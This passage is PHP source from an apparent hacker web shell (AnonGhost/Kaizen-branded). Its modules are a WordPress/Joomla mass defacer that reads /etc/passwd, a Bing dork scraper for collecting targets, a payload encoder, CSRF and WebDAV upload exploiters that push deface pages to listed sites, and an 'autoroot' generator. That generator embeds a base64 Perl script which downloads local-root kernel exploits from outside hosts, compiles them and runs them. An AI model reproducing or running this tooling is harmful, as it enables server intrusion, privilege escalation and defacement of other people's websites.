/>';if($count1+$count2 > 0){echo '<a href="'.$_SERVER['PHP_SELF'].'?pass='.$_GET['pass'].'&zh=1" target="_blank" id="zhso">Send to Zone-H</a>';}}echo '<!DOCTYPE html><html><head><link href="http://fonts.googleapis.com/css?family=Orbitron:700" rel="stylesheet" type="text/css"><style type="text/css">.header {position:fixed;width:100%;top:0;background:#000;}.footer {position:fixed;width:100%;bottom:0;background:#000;}input[type="radio"]{margin-top: 0;}.td2 {border-left:1px solid #ff0066;border-radius: 2px 2px 2px 2px;}.even {background-color: rgba(25, 25, 25, 0.6);}.odd {background-color: rgba(102, 102, 102, 0.6);}textarea{background: rgba(0,0,0,0.6); color: white;}.green {color:#00FF00;font-weight:bold;}.#ff0066 {color:#FF0000;font-weight:bold;}</style><script type="text/javascript">function change() {if(document.getElementById('rcd').checked == true) {document.getElementById('tra').style.display = '';} else {document.getElementById('tra').style.display = 'none';}}function hide() {document.getElementById('tra').style.display = 'none';}</script></head><body><h2 style="font-size:25px;color:white;text-align: center;font-family:orbitron;text-shadow: 6px 6px 6px black;">Wordpress and Joomla Mass Defacer</h2>';if(!isset($_POST['form_action']) && !isset($_GET['mode'])){echo '<form action="" method="post"><table align=center><tr><td><input type="radio" value="1" name="mode" checked="checked" onclick="hide();"></td><td>using /etc/named.conf ('.(is_readable('/etc/named.conf')?'<span class="green">READABLE</span>':'<span class="#ff0066">NOT READABLE</span>').')</td></tr><tr><td><input type="radio" value="2" name="mode" onclick="hide();"></td><td>using /etc/passwd ('.(is_readable('/etc/passwd')?'<span class="green">READABLE</span>':'<span class="#ff0066">NOT READABLE</span>').')</td></tr><tr><td><input type="radio" value="2" name="mode" id="rcd" onclick="change();"></td><td>manual copy of /etc/passwd</td></tr><tr id="tra" style="display: none;"><td></td><td><textarea cols="60" rows="10" name="man_data"></textarea></td></tr></table><br><input type="hidden" name="form_action" value="1"><table align=center><tr><td><b>index url: </b><input class="inputz" size="45" type="text" name="defpage" value=""></tr></td></table><center><input class="inputzbut" type="submit" value="Attack !" name="Submit"></center></form>';}$milaf_el_index = $_POST['defpage'];if($_POST['form_action'] == 1) {if($_POST['mode']==1) { exec_mode_1($milaf_el_index); }if($_POST['mode']==2) { exec_mode_2($milaf_el_index); }if($_POST['mode']==3) { exec_mode_3($milaf_el_index); }}if($_GET['mode']==1) { exec_mode_1($milaf_el_index); }echo '</body></html>';
   }
}
//////////////////////  BING  ////////////////////
			elseif(isset($_GET['x']) && ($_GET['x'] == 'bingrb'))
            {
	@ini_set('output_buffering',0);
?>
<head>
<style type="text/css">
textarea {
    width: 500px;
    height: 250px;
    border: 1px solid white;
    margin: 5px auto;
    padding: 7px;
}
input[type=text] {
	padding-left: 7px;
	width: 250px;
    height: 25px;
    border: 1px solid white;
    background: black;
    margin: 5px auto;
}
input[type=submit] {
	height: 25px;
	border: 1px solid white;
	background: white;
	margin: 5px auto;
	color: #000000;
}
</style>
</head>
<center><form method="post">
<font color=#ff0066>Bing Dork: <input type="text" name="dork" placeholder="dork" requi#fffff>
<input type="submit" name="go" value=">>">
</form>
<?php
function getsource($url, $proxy) {
    $curl = curl_init($url);
    curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    if($proxy) {
        $proxy = explode(':', autoprox());
        curl_setopt($curl, CURLOPT_PROXY, $proxy[0]);
        curl_setopt($curl, CURLOPT_PROXYPORT, $proxy[1]);
    }
    $content = curl_exec($curl);
    curl_close($curl);
    return $content;
}
$dork = htmlspecialchars($_POST['dork']);
$do = urlencode($dork);
if(isset($_POST['go'])) {
	$npage = 1;
	$npages = 30000;
	$allLinks = array();
	$lll = array();
	while($npage <= $npages) {
	    $x = getsource("http://www.bing.com/search?q=".$do."&first=".$npage."", $proxy);
	    if($x) {
	        preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
	        foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
	        $npage = $npage + 10;
	        if (preg_match("(first=" . $npage . "&amp)siU", $x, $linksuiv) == 0) break;
	    } else break;
	}
	$URLs = array();
	foreach($allLinks as $url){
	    $exp = explode("/", $url);
	    $URLs[] = $exp[2];
	}
	$array = array_filter($URLs);
	$array = array_unique($array);
	$sss = count(array_unique($array));
	echo "ToTaL SiTe : $sss<br>";
	foreach($array as $domain) {
		echo "http://$domain/<br>";
	}
}
}
//////////////////////  vHost  ////////////////////
//////////////////////  vHost  ////////////////////
//////////////////////  vHost  ////////////////////
//////////////////////  vHost  ////////////////////
elseif (isset($_GET['x']) && ($_GET['x'] == 'base64')) {
?>
<center>
<BR>
<?php
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
$text = $_POST['code'];
?>
<form method="post"><br><br><br>
<textarea class='inputz' cols=80 rows=10 name="code"></textarea><br><br>
<select class='inputz' size="1" name="ope">
<option value="urlencode">URL</option>
<option value="base64">Base64</option>
<option value="ur">Convert_uu</option>
<option value="gzinflates">Gzinflate - Base64</option>
<option value="str2">Str_rot13 - Base64</option>
<option value="gzinflate">Gzinflate - Str_rot13 - Base64</option>
<option value="str">Str_rot13 - Gzinflate - Str_rot13 - Base64</option>
<option value="url">Base64 - Gzinflate - Str_rot13 - Convert_uu - Gzinflate - Base64</option>
</select>&nbsp;<input class='inputzbut' type='submit' name='submit' value='Encrypt'>
<input class='inputzbut' type='submit' name='submits' value='Decrypt'>
</form>

<?php
$submit = $_POST['submit'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $codi=base64_encode($text);
break;case 'str' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
break;case 'gzinflate' : $codi=gzdeflate(str_rot13(base64_encode($text)));
break;case 'gzinflates' : $codi=base64_encode(gzdeflate($text));
break;case 'str2' : $codi=base64_encode(str_rot13($text));
break;case 'urlencode' : $codi=rawurlencode($text);
break;case 'ur' : $codi=convert_uuencode($text);
break;case 'url' : $codi=base64_encode(gzdeflate(convert_uuencode(str_rot13(gzdeflate(base64_encode($text))))));
break;default:break;}}

$submit = $_POST['submits'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $codi=base64_decode($text);
break;case 'str' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
break;case 'gzinflate' : $codi=gzinflate(str_rot13(base64_decode($text)));
break;case 'gzinflates' : $codi=gzinflate(base64_decode($text));
break;case 'str2' : $codi=str_rot13(base64_decode($text));
break;case 'urlencode' : $codi=rawurldecode($text);
break;case 'ur' : $codi=convert_uudecode($text);
break;case 'url' : $codi=base64_decode(gzinflate(str_rot13(convert_uudecode(gzinflate(base64_decode(($text)))))));
break;default:break;}}

echo '<textarea cols=80 rows=10 class="inputz" readonly>'.$codi.'</textarea></center><BR><BR>';


?>
<?php

}
//////////////////////  DNS RAW  ////////////////////
elseif (isset($_GET['x']) && ($_GET['x'] == 'dnsraw')) {
?>
<?php
$result = array();
$result_html = '';
if (isset($_POST['domain']) && !empty($_POST['domain'])) {
    $domain_regex = '/[a-zd][a-z-d.]+[a-zd]/i';
    if (preg_match($domain_regex, $_POST['domain'])) {
        if ($url = parse_url($_POST['domain'])) { //compatible when user post an url instead of a domain
            if (isset($url['host'])) {
                $result = dns_get_record($url['host'], DNS_A + DNS_AAAA + DNS_CNAME);
            } else if (isset($url['path'])) {
                $result = dns_get_record($url['path'], DNS_A + DNS_AAAA + DNS_CNAME);
            }
        }
    }

    if (empty($result)) {
        $result_html = '<hr>Nothing found or Domain Invalid';
    } else {
        foreach($result as $r) {
            reset($r);
            $host = current($r);
            $type = next($r);
            $value = next($r);
            $result_html .= sprintf("<tr><td>%s</td><td>%s</td><td>%s</td></tr>n", $host, $type, $value);
        }
        $result_html = "<hr>n<table>n$result_html</table>n";
    }
}

?><!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/html">
<head>
    <meta charset="UTF-8"/>
    <style>/* somethin from bootstrap */
        button,input {margin: 0;font-size: 100%;vertical-align: middle;}
        hr {margin: 20px 0;border: 0;border-top: 1px solid #eeeeee;border-bottom: 1px solid #ffffff;}
        label {margin-bottom: 3px;}
        .form-inline {vertical-align: middle;}
        table {width: 100%;text-align: center;margin: auto;}
    </style>
</head>
<body>
    <div style="text-align: center;width: 800px;margin: 1em auto">
        <h1>Raw Dns Lookup</h1>
        <form method="post">
            <div class="form-inline">
                <label for="domain">Domain: </label>
                <input id="domain" type="text" name="domain" value="<?=empty($_POST['domain'])?'':$_POST['domain']?>">
                <button type="submit">Start</button>
            </div>

        </form>
        <?=$result_html?$result_html:''?>
        <hr/>
        <p>Server Location:
            <?
                $geo = json_decode(file_get_contents('http://smart-ip.net/geoip-json'));
                echo $geo->countryName;
            ?>
            <br/>
            <span>Powered by Kaizen</a></span>
        </p>
    </div>
</body>
</html>
 <?php
}

//////////////////////  CSRF  ////////////////////
elseif (isset($_GET['x']) && ($_GET['x'] == 'csrf')) {
	echo '<center><table><tr><th><center><u>CSRF Exploiter By Kaizen</u></tr></th></center><td>';
?>      <html>
<br><br>
<center><font color=#2EFEF7>*Note : Post File, Type : Filedata / dzupload / dzfile / dzfiles / file / ajaxfup / files[] / qqfile / userfile / etc
<center>
<form method="post">
URL: <input type="text" name="url" size="50" height="10" placeholder="http://www.sitetarget.com/[path]/upload.php" style="margin: 5px auto; padding-left: 5px;" required><br>
POST File: <input type="text" name="data" size="50" height="10" placeholder="Look up ^" style="margin: 5px auto; padding-left: 5px;" required><br>
<input type="submit" name="go" value="Lock!">
</form>
<?php
$url = $_POST['url'];
$data = $_POST['data'];
$submit = $_POST['go'];
if($submit) {
    echo "<form method='post' target='_blank' action='$url' enctype='multipart/form-data'><input type='file' name='$data'><input type='submit' name='ok' value='Upload'></form";
}
?>
</form>
</html>
<?php

}

//////////////////////  WEBDAV  ////////////////////
elseif (isset($_GET['x']) && ($_GET['x'] == 'webdav')) {
?> <center>
    <table><tr><th>Webdav Exploiter by Kaizen</th></tr> <tr><td><form action="" method="POST">
    <textarea name="isi" style="height:100px;width:500px">http://www.target.com/</textarea><br><br>
    <textarea name="isi1" style="height:100px;width:500px">Hacked By Kaizen (Your Script)</textarea><br><br>
    <input type="hidden" name="site" value="list.txt">
    <input type="hidden" name="file" value="root.htm">
    <center><input type="submit" style="background:white;color:#000000;padding:3px;border:0" name="go" value="&lt;&lt; Execute &gt;&gt;"></center>
    </form>
    </td></tr></table>
    <table> <tr><th>Result Deface<br>File Location at : target.com/root.htm</th></tr> <tr><td>
    <?php

    if($_POST['go']){

            $nama = "root.htm";
            $isi = $_POST['isi1'];
            $fp = fopen($nama,"w");
            fputs($fp, $isi);

            $nama = "list.txt";
            $isi = $_POST['isi'];
            $fp = fopen($nama,"w");
            fputs($fp, $isi);



    ?>
	<link href='http://fonts.googleapis.com/css?family=Iceland' rel='stylesheet' type='text/css'>


    <?php

    # Kaizen
    # AnonGhost Team
    # Exploiter

    $sites = $_POST[site];
    $file = $_POST[file];
    $fp = fopen($file, "r");
    $buka=fopen("$sites","r");
    $filesize = filesize($file);
    $size=filesize("$sites");
    $baca=fread($buka,$size);
    $sites = explode("rn", $baca);
    foreach($sites as $site){
    if(preg_match("#http://#", $site)) {
        $site = $site;
     } else {
       $site = "http://".$site;
     }
    $site = "$site/$file";
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $site);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140722 Firefox/24.0 Iceweasel/24.7.0");
    curl_setopt($ch, CURLOPT_PUT, true);
    curl_setopt($ch, CURLOPT_INFILE, $fp);
    curl_setopt($ch, CURLOPT_INFILESIZE, $filesize);
    curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
    curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
    $exec = curl_exec($ch);
    echo "$site -> ";
    $su = curill($site);
    if(preg_match("/hacked/i", $su)) {
        echo "<font color=green>Exploit Success!!</font><br>nn";
       file_put_contents("webdav_shell.htm", "$site<br>", FILE_APPEND);
    } else {
      echo "<font color=red>Exploit Failed</font><br>n";
      }
    }
    }
    function curill($site){
      $ch = curl_init ("$site");
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
    curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
    curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
    $data3 = curl_exec ($ch);
    return $data3;
     }
    ?>
<?php

 }

//////////////////////  AUTO ROOT  ////////////////////
elseif (isset($_GET['x']) && ($_GET['x'] == 'root')) {
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:white">Autoroot Generator Coded By Mauritania Attacker</span><center><br>';
echo'<center><font color="#006600" size="2pt"><b>Special Greet To HusseiN98D</b><font/></center><br>';
echo"<p align='center'> <img border='0' src='http://www.spirit-of-metal.com/les%20goupes/R/Root/pics/logo.jpg'></p><br>";
echo'<div class="tul"><font color="007700" face="Geneva, sans-serif" style="font-size: 11pt"><font/>';


@error_reporting(0);

sleep(2);

echo "<p><b>Script Autoroot Perl Extracted Successfully.... !/ </b></p><br>";
//generate autoroot script perl
mkdir('lulZ',0755);
$shellw0rm = 'cHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0KcHJpbnQgIiAgICAgICAgIEFub25HaG9zdCBTbTRzaCBhdXRvIHIwMHQgICAgICAgICAgXG4iOw0KcHJpbnQgIiAgICAgICAgICAgICAgICAgMjAwNSAtIDIwMTMgICAgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIiAgICAgX19fX19fXyAgX19fX19fXyAgX19fX19fXyBfX19fX19fX18gICAgXG4iOw0KcHJpbnQgIiAgICAoICBfX19fICkoICBfXyAgICkoICBfXyAgIClcX18gICBfXy8gICAgXG4iOw0KcHJpbnQgIiAgICB8ICggICAgKXx8ICggICkgIHx8ICggICkgIHwgICApICggICAgICAgXG4iOw0KcHJpbnQgIiAgICB8IChfX19fKXx8IHwgLyAgIHx8IHwgLyAgIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8ICAgICBfXyl8ICgvIC8pIHx8ICgvIC8pIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8IChcICggICB8ICAgLyB8IHx8ICAgLyB8IHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8ICkgXCBcX198ICAoX18pIHx8ICAoX18pIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8LyAgIFxfXy8oX19fX19fXykoX19fX19fXykgICApXyggICAgICAgXG4iOw0KcHJpbnQgIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJCSAgIENvZGVkIGJ5IEh1c3NlaU45OEQgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJCQkgICAgIDE5LzA4LzIwMTQJCSAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IGxpbnV4ICwgcGVybCAkMCBsbnggICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IEJzZCAsICBwZXJsICQwIGJzZCAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IFN1bk9TICwgcGVybCAkMCBzdW5vcyAgICAgICAgXG4iOw0KcHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0KDQoNCmlmICgkQVJHVlswXSA9fiAibG54IiApDQp7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnByaW50ICIjIExpbnV4L0JzZC9TdW5vcyBBVVRPLVJPT1RFUiAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICBIYXZlIGEgY29mZmUgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgIFJvb3RpbmcgbGludXggICAgICAgICAgI1xuIjsNCnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0Kc3lzdGVtKCJ1bmFtZSAtYTtta2RpciBsbng7Y2QgbG54Iik7DQpwcmludCAiWytdIFdhaXQuLlxuIjsNCg0Kc3lzdGVtKCJ3Z2V0IHd3dy50dXgtcGxhbmV0LmZyL3B1YmxpYy9oYWNrL2V4cGxvaXRzL2tlcm5lbC9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zLmMiKTsNCnN5c3RlbSgiZ2NjIC1vIGdheXJvcyBsb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zLmMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGdheXJvcyIpOw0Kc3lzdGVtKCIuL2dheXJvcyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgd3d3LnR1eC1wbGFuZXQuZnIvcHVibGljL2hhY2svZXhwbG9pdHMva2VybmVsL3Ztc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdC5jIik7DQpzeXN0ZW0oImdjYyAtbyB2bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQgdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0LmMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHZtc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOw0Kc3lzdGVtKCIuL3Ztc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L3gyIik7DQpzeXN0ZW0oImNobW9kIDc3NyB4MiIpOw0Kc3lzdGVtKCIuL3gyIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngveCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgeCIpOw0Kc3lzdGVtKCIuL3giKTsNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvdXNlbGliMjQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHVzZWxpYjI0Iik7DQpzeXN0ZW0oIi4vdXNlbGliMjQiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9yb290MiIpOw0Kc3lzdGVtKCJjaG1vZCA3Nzcgcm9vdDIiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCIuL3Jvb3QyIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L2ttb2QyIik7DQpzeXN0ZW0oImNobW9kIDc3NyBrbW9kMiIpOw0Kc3lzdGVtKCIuL2ttb2QyIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgaDAwbHlzaGl0Iik7DQpzeXN0ZW0oIi4vaDAwbHlzaGl0Iik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvZXhwLnNoIik7DQpzeXN0ZW0oImNobW9kIDc1NSBleHAuc2giKTsNCnN5c3RlbSgic2ggZXhwLnNoIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvZWxmbGJsIik7DQpzeXN0ZW0oImNobW9kIDc3NyBlbGZsYmwiKTsNCnN5c3RlbSgiLi9lbGZsYmwiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9jdzcuMyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgY3c3LjMiKTsNCnN5c3RlbSgiLi9jdzcuMyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtMzc0LjEyLjEuZWw1LTIwMTIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOw0Kc3lzdGVtKCIuLzIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4xOC0yNzQtMjAxMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTI3NC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTI3NC0yMDExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtNi14ODYtMjAxMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTYteDg2LTIwMTEiKTsNCnN5c3RlbSgiLi8yLjYuMTgtNi14ODYtMjAxMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3Qvdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyB2bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQiKTsNCnN5c3RlbSgiLi92bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIwMTEgTG9jYWxSb290IEZvciAyLjYuMTgtMTI4LmVsNSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMjAxMSBMb2NhbFJvb3QgRm9yIDIuNi4xOC0xMjguZWw1Iik7DQpzeXN0ZW0oIi4vMjAxMSBMb2NhbFJvb3QgRm9yIDIuNi4xOC0xMjguZWw1Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zMyIpOw0Kc3lzdGVtKCIuLzIuNi4zMyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjMzLTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zNC0yMDExIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQtMjAxMSIpOw0Kc3lzdGVtKCIuLzIuNi4zNC0yMDExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzQtMjAxMUV4cGxvaXQxIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQtMjAxMUV4cGxvaXQxIik7DQpzeXN0ZW0oIi4vMi42LjM0LTIwMTFFeHBsb2l0MSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjM0LTIwMTFFeHBsb2l0MiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM0LTIwMTFFeHBsb2l0MiIpOw0Kc3lzdGVtKCIuLzIuNi4zNC0yMDExRXhwbG9pdDIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zNyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM3Iik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zNy1yYzIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zNy1yYzIiKTsNCnN5c3RlbSgiLi8yLjYuMzctcmMyIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC96MWQtMjAxMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgejFkLTIwMTEiKTsNCnN5c3RlbSgiLi8yLjYuMTgtMjAxMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMS0yIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxLTIiKTsNCnN5c3RlbSgiLi8xLTIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEtMyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMS0zIik7DQpzeXN0ZW0oIi4vMS0zIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xLTQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDEtNCIpOw0Kc3lzdGVtKCIuLzEtNCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDEwIik7DQpzeXN0ZW0oIi4vMTAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzExIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxMSIpOw0Kc3lzdGVtKCIuLzExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xMiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMTIiKTsNCnN5c3RlbSgiLi8xMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDE0Iik7DQpzeXN0ZW0oIi4vMTQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE1LnNoIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNS5zaCIpOw0Kc3lzdGVtKCIuLzE1LnNoIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpO